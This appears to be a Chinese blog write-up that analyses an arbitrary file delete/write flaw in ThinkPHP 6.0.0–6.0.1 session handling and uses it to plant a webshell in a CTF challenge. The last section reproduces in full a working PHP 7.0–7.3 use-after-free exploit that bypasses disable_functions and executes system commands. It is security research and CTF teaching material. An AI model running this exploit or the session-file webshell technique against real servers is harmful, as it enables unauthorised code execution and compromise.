ThinkPHP6任意文件操作漏洞到GETSHELL


这篇文章在新春公益赛后就想详细的写一下,结果因为一些不重要但麻烦的事情耽搁了,写了一半就停下来了,今天把后面的补齐,更新出来

任意文件删除漏洞复现

环境搭建

漏洞主要影响的版本是ThinkPHP6.0.0-6.0.1,先搭建TP6.0的环境进行复现

方便期间环境我直接使用了docker镜像

docker search thinkphp

image.png-69.4kB

因为tp6.0的环境是基于php7的,我们直接pull下来,然后使用composer安装

yum install composer

漏洞分析

这个漏洞是在一月份左右爆出来的,详情的修复可以参照一个TP的官网

https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2

我们可以通过官方的修复来推出漏洞的成因,主要原因应该出现在session中,分析一下关于session的相关代码文件

查看一下TP6存储SESSION文件的相关代码,目录位置:

/tp6/vendor/topthink/framework/src/think/session

image.png-30.9kB

既然爆出的漏洞的是任意文件删除,跟一下代码中能对文件进行删除操作的语句

image.png-27.2kB

搜索文件可以看到含有delete的函数位置大概有三处地方,既然漏洞是任意文件删除,我们推断删除的文件名是用户可控的,分析三处delete函数的调用位置,可以推测在函数256行的位置很可能是该漏洞的形成位置,因为SessionId在一定条件下可由用户进行修改。

image.png-34.2kB

既然推测出漏洞可能出来的位置,我们具体的分析一下成因,可以看到在存在删除函数的位置,也调用了wtite()函数,我们详细的跟一下写入操作

在同目录下的driver文件夹下File.php中找到了write()函数的详细定义

image.png-48.9kB

同时我们还看到了WriteFile()函数,跟进一下WirteFile()函数

image.png-22.1kB

发现可疑函数file_put_contents()写入文件操作,我们具体的跟进一下,写入的文件名是否可控

首先看一下函数的几个变量我们是否可以控制,两个参数

$path $content

WirteFile()的两个参数是从write()函数的两个参数\$sessID$sessData中获取到的

image.png-32.3kB

而这两个参数来源是来自Save()函数调用write()函数,同时可以在函数中看到$sessionId值是从getId()中获取到的

image.png-63.5kB

所以经过上面的简单分析,我们可以知道,文件名是来自于\$sessionId,看一下获取生成$sessionId的条件

image.png-15.1kB

看一下setId()函数,当传输的id参数长度为32时,会创建\$sessionId并且$getId(),看一下在哪个位置调用了setId()函数

vendor/topthink/framework/src/think/middleware/SessionInit.php:46

image.png-77.9kB

首先对这几个变量进行一下分析,查看是否存在用户可控的变量,由于cookieName即为用户PHPSESSID,所以我们可以通过修改PHPSESSID的形式,达到文件名可控的操作,但在对文件内容控制中发现,session中的数据内容,是通过$data传入的

vendor/topthink/framework/src/think/session/Store.php:261

image.png-12.8kB

同时可以发现,data在环境中默认设置为空

image.png-14.2kB

这就导致了我们无法控制文件中的内容,需要在一定的条件下,才能达到构造webshell的目的。简单的总结一下:

如果在环境开启Session的条件下,此漏洞经过构造可进行任意文件删除
如果在环境开启Session且Session中的数据可控的情况下,我们可以通过此操作达到构造webshell的目的

明白原理之后,再看一下在比赛中的利用

ezthinking

这个题目是在二月份举办的一场比赛中有的,复现环境:

buuoj.cn

进入题目后,注册账号登陆,发现存在搜索框,随便搜索一下数据,没有发现其他的信息

image.png-19kB

fuzz了一下,存在备份文件泄露(www.zip),审计一下代码

image.png-76.9kB

简单看一下目录结构可以知道这是thinkphp的站点,看一下具体版本

image.png-24.1kB

从报错信息中看出这是thinkphp6.0的站点,正好是该漏洞的受影响版本,看一下我们对session的文件内容是否存在操作权限,首先要知道tp6的session文件默认存放位置为

/runtime/session文件夹下

文件名常常为:SESS_PHPSESSID,首先尝试访问一下存储我们用户信息的文件

image.png-12.9kB

可以看到,session文件中把我们刚才搜索的数据保存在了session文件中,说明我们对session文件里的内容具有可控的权限,此时即可文件名可控,我们可以在限制条件下构造shell

首先我们搜索一下构造的恶意代码

image.png-11kB

同时修改我们自己PHPSESSID添加.php的后缀,同时删除其他四个空余字符,保证我们的PHPSESSID长度为32个字节,然后在存储session目录的路径下进行访问

image.png-102kB

成功写入文件内容,构造一句话木马写入,使用蚁剑连接

image.png-52.3kB

在尝试获取flag的时候发现存在readflag函数,且无法正常执行系统命令,老考点了UAF
使用github上的exp进行读取

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

使用shell文件包含,成功获取到flag

image.png-45.5kB


One thought on “ThinkPHP6任意文件操作漏洞到GETSHELL”

发表评论

邮箱地址不会被公开。 必填项已用*标注